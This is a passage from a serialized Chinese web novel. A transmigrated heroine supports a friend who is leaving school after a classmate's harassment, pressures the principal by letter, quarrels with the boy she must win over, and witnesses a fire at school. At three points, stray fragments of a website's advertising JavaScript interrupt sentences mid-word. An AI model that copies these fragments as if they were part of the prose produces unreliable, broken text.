反正她对易川的心思只是攻略和帮助，让自己回家才是最要紧的事。 但叶舒很快便察觉，易川在躲着她，像是与她避嫌。 估摸是陶珠老师也找他谈话了。 每次遇到这种事，易川便像个“缩头乌龟”般逃避。 叶舒看不惯他这这做派，一时怄气，便也懒得理他。 ...... 陆雯：“所以你们现在是在避嫌？” 叶舒嘲弄地轻笑一声：“我可没有和他避嫌，是他要和我避嫌。” “不知道是不是老师也找他问话了，反正他现在在躲着我。” 陆雯觉得好笑：“像是他干得出来的事。” 她转念一想，暧昧地看着叶舒，揣测道：“不过，如果他真的对你没那意思，他又怎么会在乎这些去避嫌？” “你也怀疑我们？”叶舒幽怨地瞪了她一眼，及时转移话题，“现在不想提他——对了，你不是说有话想和我说吗？” 陆雯变了表情，沉吟片刻后，才悠悠开口：“今天放学后，我就不再来学校了。” 叶舒一惊，拿着筷子的手僵住。 陆雯：“我要休学了。” “我是来和你道别的。” 叶舒脑袋里有什么东西轰一下炸开了，愣了半晌。 又和之前不一样。 为什么？ 之前陆雯根本就没有休学，为什么一切都变了？ 难道是因为她的举动与之前不一样，便要改变这么多吗？ “为什么？”叶舒听了陆雯的决定，难以置信地问。 “我现在这个状态也学不进去，而且我一想到上课要遇见那个男的我就恶心，我就害怕，他靠近我我都发抖。” 提到那个男生，陆雯的肩膀都在颤抖。 叶舒这才知道，原来这半年多陆雯过得并不好。 从静海高中与陆雯一起前往集训的学生中，有一名男生钟情陆雯。 一开始他只是试探着嘘寒问暖，后来逐渐变本加厉，时常明里暗里缠着她。 陆雯私下嘴上功夫了得，但从不会与人正面起冲突，所以男生便有恃无恐。 陆雯崩溃道：“你不知道，他成绩很好，经常受老师表扬，极受老师喜欢。而且和所有人关系都很好，大家都知道他喜欢我，组队表演的时候经常把我们凑一块。可是我不想，但即使我找老师申请换人，他也只是说‘这样分有这样分的道理、不要挑三拣四’，那段时间我每次和他对上我都不敢看那个男的的眼睛。” 陆雯深吸一口气继续说：“终于我忍无可忍，上周当着全班的面，我跑去跟他说，‘我真的不想再和你分为一组了，和你合作真的让我压力很大，很难受。我不喜欢你，你也不要喜欢我，我承受不了你的喜欢。你不要做这些事，真的很幼稚’。说完，我就哭着回宿舍，打电话给我爸妈，然后收拾行李回来了。” 叶舒听着难受又愤慨，握着她的手安慰她：“我都不知道......没事了，回来就好了。” “这故事太长了，所以我一直不知道怎么跟你讲。”陆雯也隐瞒得很苦，那么久以来她都没有倾诉的对象，如今回来了，才有时间将苦水一并倒出，“那集训老师后来还跟我爸妈说我太无理取闹了，不应该把那人搞得下不来台，也不应该随便就说要走，还说就我这样，肯定考不上好学校。” “神经病！他凭什么这样说，他就这么袒护那个男的？那你父母怎么说？” 叶舒怒火中烧，没想到即使这样，那老师也要抨击陆雯这个受害者。 到底是那男生太会演戏，骗过了所有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人？还是那老师偏心？ 陆雯这才扯了扯唇角，勉强得意一笑：“我父母当然偏向我啊，我妈妈还直接在私信里说要找那男生的家长。还说明天过来接我的时候，顺带和班主任说这件事，然后找到那男生的班主任说这事。” “我本来就有焦虑症，我爸妈一直都很保护我，肯定不会让我受委屈的。” 陆雯语气轻快，更叫叶舒难受。 “那就好。”叶舒欣慰一笑，但仍觉不甘。 叶舒就是老师，她自然知道对那男生最大的惩罚不过也就是口头惩戒、书面检讨和当面致歉，最严重不过是那男生的家庭赔付陆雯的休学损失。 可是，不管怎么惩罚那男生，她都只觉不够。 陆雯因为这人的影响都要休学一年了，而这男生还能好好地参加集训和高考，凭什么？ “他是，几班的？”叶舒开口问。 陆雯勾唇，安抚似的冲她笑了笑。 她了解叶舒，是个行动派；她不像自己，永远只口头说说，却不敢做出行动。上周敢当着全班人的面抨击那男生是她人生中第一次做出的最有勇气的事。 那时，她对那男生讲狠话时，她全身都在发抖。 可随着她一字一句的输出，她反而慢慢镇定了下来，头脑也变得无比清晰，看着男生错愕难堪的模样，她只觉得无比痛快。 原来他也会觉得被羞辱了吗？ 但其实他每一次刻意接近她，引导众人起哄他们，她也觉得如此。 不过只是将令他尝尝自己的感受，他便不适了，可她却足足忍受了半年之久。 陆雯摇了摇头，告诉叶舒：“告诉你又怎么样呢？他还在首都集训，你见不到他的......而且，你见到他又能如何呢？把面汤泼他身上？” 陆雯看着她面前的牛肉面打趣道。 叶舒听着她的玩笑话却一点儿也笑不出来。 陆雯安慰她：“没事啦，我爸妈他们会解决的。而且我说完怼他的话以后特别爽，以后也不用再见到他了，我无所谓了~” ...... 叶舒浑浑噩噩地回了班级。 即使晚自习开始了，周围的同学皆在奋笔疾书，叶舒仍精神恍惚地看着手里的数学作业卷，提笔却又迟迟下不了笔。 耳畔回荡着陆雯对她说的那句话：“你只是学生，能做什么呢？翻他白眼，泼他面汤？没必要。” 是啊，她只是学生，能做什么呢？ 小惩大诫是学校老师的事，她如今只是个学生，什么都做不了。 做小事，解不了气；做狠事，引火上身，还会把自己搭进去。 她也很想像当时为易川打抱不平那样，仗义潇洒地为陆雯出一次头，可是肇事者如今不在，她也没有身份跑到陆雯班主任那说些什么。 难道她真的什么也做不了，只能眼睁睁看着陆雯受委屈，与自己分别吗？ 想不到，一年前江菱忽然提早出国，如今陆雯也要先行与自己道别了。 为什么会变成这样，与原世界的运行轨迹完全不同。 叶舒逼问系统，系统却解释说除了攻略主角，NPC也有自己的故事线，系统世界发展瞬息万变，不能完全根据真实世界来看。 所以，这些意外，是对她的敲打吗？ 让她不要再自诩聪明，不要自以为能知万事。 就像江菱、陆雯，就像这次的被诬陷作弊。 还有易川再一次的躲避。 都是为了让她措手不及。 52. 避嫌 浑浑噩噩度过了第一节晚自习，叶舒沉闷地拿上水壶出了教室。 其实水瓶里还有水。 但她总觉得得找理由不在教室里呆着。 课间，每间教室里都传出热闹的欢笑声，却似乎都与自己无关。 叶舒走向饮水机，却在夜色里看见了易川的身影。 他恰巧从教室里出来，两人的视线正好撞上。 她看到，男生表情一滞，下意识想偏头逃离。 叶舒沉默地凝视着他。 她现在其实一点也不想看见他，也不想理他。 但不知哪生出来的勇气，她开口叫住了他。 “易川。” 当事人身形一顿，站在原地，却没有转过头看她。 叶舒上前，强迫他与自己对视。 “别躲了。” 易川眼帘微垂，闻言，缓缓抬眼看向她。 叶舒讽刺道：“你还是和高一一样，一有事便躲着我，一点也没长进。” 易川微怔，默默接受她的审视。 叶舒听见一声几不可闻的轻叹，随后听见他说： “这次不一样。” 叶舒：“有什么不一样？” 她确实感觉不出他与高一与她避嫌的态度有何不同。 一样都是一言不发，就自以为是、自我感动地躲着她，完全不顾及她的感受。 好像她就是他招之即来、挥之即去的物什一般。 这两年，叶舒持续讨好他本就非她所愿，不过是碍于他是攻略的目标。 她本以为时间过了这么久，易川与她经历了这么多，已经相熟，他应当不会再对自己这般了。 可他还是再度这样，一声不响就与自己划清界限。 夜色浓郁，今夜繁星点点，周围的喧嚣都与他们无关。 混沌人声中，她听见易川沉声说：“有理由的。” 叶舒：“什么理由？” 易川沉了口气，看向对面黑暗中灯火通明的教学楼：“陶珠没找你谈话吗？” 叶舒沉默片刻，不打算隐瞒，直言：“找了。” “那你就应该知道。” “我不知道。”叶舒立即冷漠回应道。大抵是今日她心情烦闷，语气也横冲直撞。 她自尊心极强。 也正是因为如此，当年易川对她的羞辱她记了多年，时至今日都无法忘怀。 所以，她怎么愿意再次被他牵着鼻子走？ 这么久了。 她忍了这么久了。不想再忍了。 “我和你清清白白、坦坦荡荡，我怕什么？难道就因为我帮你说话，就要被一棒子打成我和你有一腿吗？没有这个道理。我们本就没做错什么，你上赶着避嫌干什么？你总是自以为是、自作主张选择避嫌，你不觉得很可笑吗？” 易川不看她，低着眉眼自顾自地说：“你口齿伶俐，我说不过你。” “是因为你没理，当然说不过我。”叶舒冷冷道，“你不是说问心无愧吗，又为什么选择逃避？” “倘若我问心有愧呢。” 闻言，叶舒愣怔，呼吸也随之一滞。 她看向他，他终于敢直视她的眼睛，只是眼里带着说不清道不明的情绪。 “你还不懂吗？你是重点班的学生，是年级第一。而我只是普通班的一个差生，还沾上了疑似作弊的污名。你觉得老师他们会想看到我们经常在一块吗？” 易川缓缓阖上了眼，片刻后才再度睁开，嘴角勾起一抹嘲弄的笑：“实话告诉你，我是借读生。我和你们甚至一开始都不是一个水平的，我和你们起跑线都不在一起。所以我们只能避嫌。” “至少在他们面前，在这段时间。” 叶舒看着他，良久，眼也没眨一下。 直至拂过的晚风稍微刺痛了她的瞳孔，她才眨了眨有些泛红的眼睛，将视线移向别处。 “呵。” 叶舒笑了一声。 易川一时茫然，神情复杂，眼里闪过一丝内疚，作势要伸出手宽慰她，便被叶舒的话打断。 “我还以为你多有骨气呢？” 易川没听懂她话里的意思：“什么？” 叶舒懒得解释，又恢复往常淡然的模样，话语间仍是冷嘲热讽：“你不是要跟我避嫌吗？有种你就避一辈子。” 说完这句重话，叶舒热水也不打了，转身回班。 她匆匆回程，昏暗灯光下，未看清路便撞上了人。 叶舒摸了摸撞疼的脸，手忙脚乱对面前人回道：“不好意思......” “嘶......叶舒，你没事吧？” 听见熟悉的声音，叶舒抬头，这才发现，撞上的人是贺琛。 力的作用是相互的，他看起来也被撞疼了，抚着手臂还礼貌地问她怎么样。 “没事。”叶舒摇了摇头便要进班，却再次被贺琛拦下。 贺琛一脸阳光，兀自开朗道：“我正好找你。下周音乐课我们小组要表演的曲目要上报给你。” 下周音乐课就要期末考了，学生们分成几个小组轮番展示。叶舒是音乐课代表，负责收集与记录各个小组的曲目。 “噢，好。”叶舒懵然点头，领着贺琛回班填表。 - 隔日下午。 陆雯的父母来了学校。 不知是哪走漏了风声，学生中已有人传言某班有女生在集训中受了委屈，父母赶来为女讨要说法。 有传男生骚扰的，也有传老师不作为的，一时间众说纷纭。 叶舒趴在栏杆处眺望，从她的方向向下看，正好能望见陆雯班主任的办公室。 陆雯父母与陆雯班主任在办公室外的一角落里谈话。 不知道商讨得如何了。 “叶舒！” 王朗的声音从远处传来，紧接着是一阵急促的脚步声。 她还未开口，他便急急忙忙地问：“陆雯的事你知道吗？” 叶舒猜到了他的来意，平静回答：“知道。” “你知道你为什么不和我讲啊？”王朗埋怨道。 叶舒也无奈：“我也是昨天才知道。” 闻言，王朗这才没继续怨怼，“那陆雯那边现在怎么说？” “她要休学一段时间。”叶舒开口。 “休学？！” 他一脸愤慨，对此抱不平，似乎想冲去找那男生好好理论一番。 “不是，那人几班的啊？他怎么跟个没事人一样？” 叶舒摇了摇头：“我也不知道。” 王朗气急：“你怎么那么冷静啊？我不信你会无动于衷，之前易川被诬陷你都跑上跑下的，怎么这次你那么冷漠啊？陆雯不是你朋友吗？” 叶舒侧头，没说话，只是冷冷地瞪了他一眼。 王朗见状，这才惊觉失言，默默低下了头。 叶舒没打算怪他，微不可察地叹息一声：“那人还在集训，不在学校。况且，我们又能做什么呢？” 她将陆雯反问她的话同样送给王朗。 “可以找他理论，然后......”说着说着，他声音逐渐变小，最后消失不见。 王朗眉头紧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 锁，欲言又止。 他这才发现，他除了理论和逞口舌之快，什么也做不到。 他做不到让陆雯不休学，做不到给那人一拳，也没有身份和资格去帮陆雯在老师面前理论。 甚至，他连安慰陆雯都不知道如何开口。 他看向叶舒，叶舒正出神地望着楼下。 他顺着叶舒眺望的目光往下看，注意到柱子后陆雯的班主任和一对中年男女的身影。 那大概就是陆雯的父母了。 他双手微微攒拳，随后愤然转身离开，跑下了楼。 叶舒望着他急切冲下楼的背影，没有叫住他。 她清楚，王朗不会冲动去找陆雯的班主任去理论，况且陆雯的父母都来到了学校，自会为陆雯处理好一切，也不需要他做什么。 那他下楼做何事，叶舒则管不到了。 还有一节课，上完这最后一节课便可以放学回家了。 所以。 “想做什么就去做吧。”叶舒喃喃道。 - 残阳从稀薄的云层中散下几束光线。 陆雯望着楼对面父母与班主任谈话的身影。 三人表情严肃，也不知道最终会如何解决这事。 她默默收回眼，收拾着书物，待放学后，让父母通通带回家。 “陆雯！” 嘈杂的课间，她听见一道声音从门口处传来。 陆雯向教室门口看去，便看见王朗扶着自己班门口的门框，踏入了她的教室，一脸急切。 两人视线交汇。 陆雯一怔，很快便意识到他大抵是知道她的事了，便放下手里的东西，将他带出了自己班。 陆雯：“你怎么来了？” 王朗意识到反应过激，有些不好意思起来，嗫嚅道：“我听说你要休学了......” 陆雯点了点头：“对。” “为什么？因为那男的吗？他现在不是不在学校吗？”王朗一连串问下来，语速极快。 陆雯见状，不禁好笑，但还是耐着性子答：“那肯定不是。不过，我本来状态就不好，休学也是和父母深思熟虑过的结果。” “你怎么了？” “我有病。” “啊？”陆雯太过直白的话语把王朗弄懵了。 陆雯弯唇解释道：“我睡眠一直不好，一直都有在吃药，身体也不是很好。之前父母带我看过医生，有轻度焦虑倾向。出了这事，我父母也觉得我一时半会集训不了了，不如休息一段时间。” 王朗木然地看着她。 陆雯见他如此，笑着安慰他：“没什么大事的！高强度学习压力下，人或多或少都会有的，大部分人可以调和好的，只是我属于心理比较脆弱的那种哈哈哈。” 王朗笑不出来，扯了个比哭还难看的表情：“你父母对你真好，要是换平常父母，都会觉得孩子小题大做。” 陆雯：“是啊，也算幸运的了。可能是我爸妈就我这么一个女儿吧，比较宠我。” 二人一时静默无言，唯听微风轻拂过周围的喧嚣。 王朗没说话，只是无精打采地趴在栏杆上，看着楼下人工湖旁人来人往。 铃—— 上课铃响起，打断了两人的对话。 陆雯见王朗还是不舍难过的状态，拍了拍王朗的肩：“回去吧，以后周末还可以一起出来玩呀。” 王朗低垂着眉眼，半晌才重新扬起如往常一样的开朗的笑容。 “好。” “记得多回来看看我们啊。” “当然~” 53. 齐心协力 重点班教室内，老师的讲解声铿锵有力，不时有学生提出疑问，得到解答后又发出恍然大悟的叹息声。 叶舒撑着脑袋看着老师的板书订正错题。 “老师打扰一下。” 教室门口传来一道人声。 班主任杨丽丽小心翼翼地敲了敲门，冲数学老师歉意一笑：“陈老师，打断一下哈，我找下叶舒，有点事。” 杨丽丽身后，站着一人——校长。 校长是名四十岁左右的中年男人，平常神龙见首不见尾，一般只出现在大型活动中。他平日常穿休闲的POLO衫，今日身着熨烫齐整的衬衫，乌黑的头发梳得一丝不苟。 众人的目光纷纷被吸引，打量着校长和杨丽丽的神情，心下疑惑。 “行，叶舒去吧。”陈老师笑着摆了摆手，便继续看手中的试卷，“好，收回眼神，我们继续看题啊——” 见还有一部分人朝窗外张望，陈老师敲了敲黑板，稍稍正色道：“看回来了啊，被校长找有什么稀奇的，你们也想被找吗？” 班里一名男生耍嘴贫说：“好事可以，坏事就算了。” 陈老师原来还有些严肃的脸也因为这话绽开了笑容，眼尾纹路明显：“嘿，人家叶舒去大概率是好事，你可就不一定，你这次数学考试可退了不少啊！再退下去，我先找你谈话！” 教室响起一阵哄笑，男生在笑声中羞愧地低下了头，还不忘辩解道：“意外意外......” 班内有几人说起悄悄话。 “奇怪，早上校长不是穿的是那个包浆的蓝色polo衫吗？怎么换了件正式的白衬衫。” “要见什么人呗，他不每次见什么重要的人都这么穿？” ...... 相比于教室内的热闹，叶舒反倒显得很平静。 她向眼前的男人微微鞠躬：“校长好。” “叶舒同学是吧。” 校长上下打量了一眼叶舒，随后微微一笑，略微浑浊的眼仁里却看不出笑意，他沉声开口：“你是写了一封信投到了校长信箱，是吗？” “是的。”叶舒回答得很快，面色如常。 校长不知从哪掏出了一张纸。 那便是叶舒写给校长的信。 他再次扫了眼信中的内容，看着信中的字不动声色地说：“你的任课老师们经常提起你。你是理科第一，成绩很好。” 叶舒故作腼腆地浅浅勾唇，没说话。 “你信中写的陆雯，是你什么人？” 见校长终于提起正事，叶舒敛起笑容抬眼，回答道：“她是我以前班的同学，现在在5班。” 校长了然地点了点头，说：“我听5班班主任说过了这事，但这件事同你又有什么关系呢？” 未等叶舒开口，校长将信纸折好攥在手里，语气有些劝诫向叶舒道：“叶舒，你现在高三了，又是年级里成绩数一数二的人，不要被外界所干扰。有些事与你无关便不要过多插手，这也是学生的本分。知道吗？” 叶舒垂眸没说话，半晌才道：“所以，校方是打算这么解决这件事吗？” 校长闻言，满脸堆笑：“我听5班班主任和级长说了，已经与那位同学的父母都沟通好了。” “是吗？”叶舒眉毛微皱，面露疑惑，睁着一双无辜的眼睛看向校长，“可是，我听她说，这事没解决，她说这几天她父母还要来学校一趟。” “这......” 校长看了眼一旁的杨丽丽。 杨丽丽压根不了解这事，错愕地眨了眨眼睛，显然一副“我也不知道”的模样。她只管自己这一班，哪里还顾得上别人班的事！ 叶舒：“所以，我想问一下，您是打算怎么处置这件事呢？” 校长没有正面回答，反而反过来问她：“你和那个同学联系过，她们想怎么处理这事？” 叶舒故作回想姿态：“这个我不太清楚诶，我只知道，她父母好像联系了电视台的人——对了，我今天在校门口的时候，还看见有两人拿着摄像器材准备进学校。” 校长脸色顿时变得难看，氛围陷入了几秒的沉默。 还未等校长开口，悦耳的下课铃声便响起了。 须臾，各个教室内纷纷涌出学生，教学楼陷入热闹之中。 路过校长的学生们毕恭毕敬地向校长问好，离开几米后又纷纷侧目，似乎对三人的对话很好奇。 见校长和杨丽丽皆不说话，叶舒主动说：“上个星期，有两名男同学在宿舍楼尚未熄灯时大喊大叫，因为恰好遇上年级主任去宿舍楼巡查，因此被记了过，予以警告，并且两人的处罚被张贴在了人来人往的教学楼楼下。可是为什么这个男生不记过，难道这个男生对同学长时间的骚扰并导致同学心理受创，还不如两个男生一时的松懈顽皮过分吗？” 叶舒面色平静，语气诚恳，甚至带着天真反问的表情，一时之间反倒把校长质问住了，不知怎么向她解释。 “咳咳，叶舒。”杨丽丽出声制止。 “老师，你说是吧？”叶舒没有立即闭嘴，转过头一脸无辜地笑着问杨丽丽。 “嗯，这......5班的老师还在处理中，会有好结果的，你放心。”杨丽丽回她。 “所以这事到底解决还是没解决？”叶舒装作一副被两位绕晕了的困惑模样，“刚刚不是说解决了吗？” 校长&杨丽丽：“......” “这件事，我们会妥善处理解决的，你——” 校长还想说什么说教叶舒，一阵不适时的铃声却从他口袋里响了起来。 校长从口袋里掏出响铃的手机，接了电话。 “喂？” ...... “是吗？......行吧，我待会过去。” 接完这通电话，校长的眉毛便皱在了一起，再也没离开过。 见周围许多学生围观，校长清了清嗓子，重回正题，对叶舒说了刚刚未说完的话：“我理解你为挚友两肋插刀、拔刀相助的心，你放心，老师们会好好解决这事的。现在快要高考了，你是冲刺长菁的好苗子，也要把精力好好放在学习上，莫要被别的事移心。” 似是还有许多话想说，但一时没想到如何措辞，校长摸了摸口袋里的手机，但没拿出手机，向杨丽丽和叶舒交代完最后几句话便匆匆向楼梯口走去。 杨丽丽见校长远去，送了一口气，随后看向自己面前的叶舒欲言又止，最后颇为无奈地摇了摇头。 杨丽丽：“你——唉，我都不知道从何说起你了。” “老师好！” 不断有同学从教室出来后向她问好，杨丽丽想说的话频频被打断，一时之间也不知道先说什么好。 见此情状，叶舒脸上浮现出笑意，唇角上扬。 杨丽丽不满道：“笑笑笑，看来你最近很闲，还有空搞这些东西。” 叶舒垂下头，抿唇乖乖地接受杨丽丽的劝诫。 见她这样，杨丽丽又不忍心：“唉，也不是什么大事——唉，我也不知道怎么说你了......” 叶舒故作自责地看着杨丽丽：“老师，我想上厕所......” “......” 杨丽丽无语了：“去吧去吧！晚些时候再找你算账！” 杨丽丽拍了拍叶舒的背，撂下这话，便转身离开，回办公室“休养生息”。 叶舒正准备回教室便被熟悉的声音叫住。 “叶舒，校长找你干啥呀？”王朗从隔壁班的后门鬼鬼祟祟地走上前问她。 他身后不远处，易川斜倚在书柜旁看着两人。 他的目光穿过四下走动的人群与她的交汇。 只触碰到一瞬，叶舒便移开了视线。 不想看见他。 方才只注意和校长周旋，叶舒并未注意到周围的学生们，看他俩这样，想必暗暗观察了她与校长许久。 两人前几日的对话还不时地会在她脑海中回放。 而王朗—— 她暂时也不想理他。 想到这，叶舒便敷衍地扫了眼王朗，随即，便一声不吭地转头进了自己教室。 “诶？诶！叶舒你干嘛你不理人？”王朗一头雾水地朝叶舒班门口里边喊。 易川：“......” - 没过几日，关于对陆雯进行骚扰的男同学的通报通知也下来了。通报贴在了教学楼楼下的布告栏上，每日经过都有不少学生驻足查看。 叶舒看着通告上的男生的名字，心情大好。 要不是没有手机，真想拍下来给陆雯好好看看。 “终于‘恶有恶报’了。” 熟悉的声音自身后响起。 叶舒转头，那张讨厌的脸出现在眼前。 易川。 叶舒皱了皱眉，下意识呛他：“该受到处罚的人自然会受到处罚，不需要无关受害者默默承担。” “......” 易川听懂了她的讽刺，沉默了半晌，才开口：“若没有你的努力，这结果应该没那么顺利。” 叶舒不接话，装作没听懂：“我做什么努力？” “我看见了。”易川上前一步，走到与她齐平线的位置，“你投递了校长信箱。” “你跟踪我？” 校长信箱不在教学楼，在食堂门 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口。而叶舒去投递信时是晚修的课间，那时的学生几乎都在教学楼及周边范围活动，没人会去食堂。 易川拒不承认：“恰好看到。” “而且学校也不是你开的。” 叶舒才不信他的鬼话，那日她独自前往，特地观察了周围，四下寂静无人，也不知道他在哪看见的。 “校长信箱一般都是匿名的，即使能比对字迹，也只能比对相关班级的，总不可能把全年级的都查了。校长能那么精准地找到你，是因为你署名了吧？” 易川道出了他的猜测：“你真的厉害，难道不知道会有什么影响吗？” “我知道，但我也要做，我不会因为什么所谓的影响就改变自己的想法和行为。”叶舒话里有话地讽刺道，“况且我不也没什么事。” 想到什么，叶舒嘲弄地笑了笑：“不是说老师们都对成绩好的很宽容吗？虽然我不屑这种做派，但现在我倒是能利用这种做派，不是更好？” 其实在这件事上，叶舒也没底。 她只是在电话亭与陆雯通电话时知道她父周三日会找时间来学校讨说法，而校长信箱恰好是每周二收信。 陆雯父母与学校的纠葛始终是与老师或年级主任沟通，若想尽早得到合理解决，那就是要将这事捅大，捅到校长面前，让校长来处理。 所以她只是充当一个“传话筒”的角色，让校长知道——这事不小。 也是幸运，陆雯父母找到了电视台的联系方式，为这事的闹大又添了一份柴火，才能让这事这么快便顺利解决。 ...... 叶舒心里总囤着一股气，无心再与他说下去，想到之前的争吵便阴阳怪气说：“不是说‘避嫌’吗？还是不要走太近了，免得惹人误会。” 说完，她便离开，也不想再看身后人的任何表情。 - 隔日晚上。 叶舒在父亲的陪同下，从医院回来。 一回到家，她便虚弱地躺倒在床上。 也不知在学校里吃坏什么东西了，叶舒半夜开始闹肚子，一直闹到早上，最后实在坚持不下去，向班主任说明情况，回家治病。 刚刚在医院检查，医院说是急性肠胃炎，打了点滴，开了几副药，这才回来。 见叶舒状态不好，叶舒母亲又向老师延长了假让她好好休息。 叶舒睡了一会才感觉有点精神，随后将手机开机。 朋友圈非常冷清。 这时候的朋友们都在学校上晚自习，没人带手机去学校，自然也没人发朋友圈。 想到什么，叶舒离开朋友圈界面，找到陆雯的聊天窗口。 陆雯：【你回家了？还是带手机了？】 叶舒：【急性肠胃炎，回家看医生了。】 陆雯：【啊，注意身体啊TT（抱抱）现在感觉怎么样了？】 叶舒：【好多了。】 ...... 叶舒主要任务，是想向陆雯报“喜讯” 叶舒：【可惜你看不到那个通报单，看着那人被通报真的很爽。】 陆雯那边秒回：【哈哈哈哈哈，是啊！好可惜，下次叫王朗拿相机给我拍一张！】 叶舒：【还是闹大有用，还好你们找了电视台的，不然感觉这事没那么快解决。】 陆雯：【是啊，还要谢谢易川告诉我电视台记者的联系方式。】 叶舒看着屏幕中易川的名字，陷入错愕。 易川？ 他...... 陆雯的消息还在发送。 【之前你在学校和我打电话时我就想说的，但是你说要挂了，就没来得及说。】 叶舒：【他什么时候给你发的？】 陆雯：【就周末，他应该是听王朗说了，然后突然给我发消息问这事。】 陆雯还附上两人的聊天记录截图。 易川：【如果解决不好，你可以尝试联系电视台记者。】 陆雯：【你怎么会有电视台记者的电话？！】 易川隔了很久才回她。 易川：【家里人认识。】 陆雯：【好的，谢谢你（感动.jpg）】 他没再回她。 ...... 陆雯：【没想到他人还挺好的，毕竟我和他不熟。】 陆雯：【他没跟你说这事？】 叶舒：…… 完全没说。 瞒得严严实实。 叶舒感觉本在肚子周围打转的疼痛逐渐爬上了脑袋，酸酸涨涨的。 她回想起昨日她对易川讽刺的那番话。 是不是说太重了...... 54. 危险 六月盛夏午后，窗外阳光灿金，热浪翻滚。 叶舒从昏睡中起身，强撑着浮软的身体吃了药，随后便开始收拾书包。 这一病，连着周末，休假了三日。 昨日周日，本该晚上就去学校，但父母见叶舒还有些病态，便让她今天下午再回学校。 巧的是，这周叶舒也格外抗拒返校。 被诬陷、陆雯休学、与易川闹别扭、被校长谈话，种种皆让她心烦意乱，无力感持续冲击着她。 大约是老天都心疼她最近烦心事接踵而至、心绪不宁，所以借此生病的机会休假。 如今她身体恢复，压抑的烦闷也逐渐消散想通，叶舒也不想再在家拖拉下去。 不知道是不是学生当久了，几日不上课她竟横生出几分罪恶感。 大概是因为临近期末吧。 况且，学校还有一个大的烂摊子等她收拾。 想到易川，叶舒又徒生一阵疲惫感。 上次吵完架，两人便没再说话，也没再见面。 关系变得不上不下。 叶舒虽仍对他逃避的态度心存不满，但想到他竟默默做了事也不声张，心里又有些矛盾的愧疚感。 更何况，攻略任务最重要，她怎么也得想办法解决这僵持的状态。 下学期便要高三了，只剩下一年。 还有一年。 她不能在此时意气用事让先前的努力都功亏一篑。 - 叶舒抵达教室后，发现教室空无一人。 她看向黑板上的课表，显示这节课是音乐课。 所以班上的同学这时候是在艺术楼上课。 她放下书包，出了教室，下意识看向隔壁班9班，同样空无一人。 9班与10班的音乐课在同一时间，此时自然也在艺术楼。 每次音乐课下课返回教学楼，她总是会遇见易川。 这次不知道会不会遇见，若是遇见了，又该做什么、说什么？ 叶舒没想好。 脑海中的思绪像混乱缠绕的线团，解不开理不清。 思忖片刻，她便强迫自己打起精神前往艺术楼上课。 纯粹湛蓝的天空被阳光的炽热燃烧着，在盛夏的热浪里叶舒缓缓向艺术楼走去。 此时是上课时间，校园内静默寂然，唯有蝉鸣阵阵和远处教学楼内老师讲课的细碎声响传入耳内。 叶舒正思考着可能遇见易川的各种情形，一遍又一遍地演练着应对的状况。 如果易川不理她，该如何？ 见到面，又该说什么？ …… 思忖间，耳边突然响起一阵尖锐的警报声。 系统：【警报，警报！攻略对象有危险！攻略对象有危险！】 叶舒按着刺痛的耳朵，消化着系统的话：“什么危险？在学校有什么危险？” 系统：【警报，警报！攻略对象有生命危险！】 叶舒捂着耳朵茫然，随后闻到一股隐隐的刺鼻的烟味。 她抬头，望见艺术楼最高处飘着一股黑色的浓烟，在蓝色的天空中格外显眼，甚至还能看见层层热浪和影影绰绰燃烧着的火苗。 叶舒愣住。 她从未见过这样的场景，一时间，手指止不住地颤抖。 没时间细想学校怎会突然起火，她便立刻往回跑，返回教学楼。 耳边再次响起系统的警告：【你去干什么！攻略对象若是死亡，你的任务就要重头再来，你之前所做的便会功亏一篑！】 叶舒顾不得回复系统，以自己生平最快的速度跑回了教学楼，冲向教学楼楼下的电话亭，拿起电话，慌忙地摁下数字。 “喂……” 叶舒拿着电话，发现自己声音都在颤抖，握着听筒的手也在打颤。 “这里是静海市扬安区静海高中，学校里面的艺术楼发生火灾了，火势不小，而且有变大的趋势……” 叶舒也不知道自己说了些什么，只听见电话那头道了好以后，她便匆匆挂了电话，跑上了办公室，将这事告诉了班主任。 不等办公室里几位老师做出反应，她便急忙冲出了门，重新向艺术楼跑去。 …… 仅仅只是一会儿，火焰便冲出了艺术楼，漫上了天际。 叶舒站在楼下，都能感受到灼热的空气。 楼上不断传出学生们此起彼伏的呼喊声还有在混乱中响起的火情警报的鸣笛声。 音乐教室就在艺术楼最高层，同学们想必已经被困住了。 有几名同班的同学捂着口鼻受惊慌乱地奔逃下楼，即使重见天日后也不敢停歇，踉跄着逃离楼道口。叶舒和追过来的几名老师连忙上前搀扶，把人送至远离艺术楼的阴凉地。 叶舒着急问道：“没事吧？还好吗？” 女生咳嗽了几声，抬头看向叶舒：“叶舒？......着火了，咳咳咳......” “没事吧，上面情况怎么样？” 女生皱着眉摇了摇头：“本来我们正在上课，忽然有人喊外面起火了我们才知道。一开门，火势还不小，通道都是浓烟，然后大家乱成一团，我们是慌乱中跑下楼的。” 叶舒看着她衣袖处被烧黑的一角，不忍问道：“你被烫到没？” 女生摇摇头：“没事，就是有点热。” 见她没事，叶舒忙问：“凌熙呢？” “不知道咳咳......我跑得很慌，没注意。” 闻言，叶舒便着急要离开，被女生拉住：“你去干嘛？你要上去？楼上在着火！咳咳.....你......” 女生抓着叶舒的手还在颤抖，她刚刚死里逃生，她知道火有多大多恐怖。 无论是天灾还是人祸，当那炙热的火焰在她面前熏着她的眼睛时，她切身体会到，人类在它面前，毫无抵抗之力。 叶舒见女生一副后怕的模样，俯身轻轻抚上她的手，安定女生。 叶舒努力平息自己内心的慌乱，她知道自己能做的都做了，可是听着楼上的呼喊声，她只觉得等待的时间漫长又煎熬。 “咳咳咳！” 又有一群人从楼上逃了出来，一离开狭窄的通道，便开始大口呼吸着新鲜空气。 “凌熙！贺琛！” 叶舒冲向前，急忙拉着他们查看身上的伤势。 凌熙换着气，腿软地扶着叶舒的手，艰难开口：“叶舒......你回来了！还好你不在，好大的火......我差点以为我要死了......” 她劫后余生地紧紧抱住叶舒，身上还在不住地发抖。 叶舒拍着她的背安慰她：“没事了没事了，出来就好出来就好。” 她松手看着凌熙身上的伤势，好在除了脸上和身上有些烟尘污渍外，没什么大碍。 叶舒：“贺琛，你没事吧？” 